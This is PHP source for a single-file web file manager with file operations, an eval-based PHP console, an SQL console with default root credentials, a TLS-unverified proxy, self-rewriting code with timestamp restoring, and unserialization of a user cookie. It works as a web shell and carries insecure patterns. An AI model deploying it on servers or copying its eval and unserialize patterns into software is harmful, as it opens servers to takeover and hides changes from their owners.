
// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1m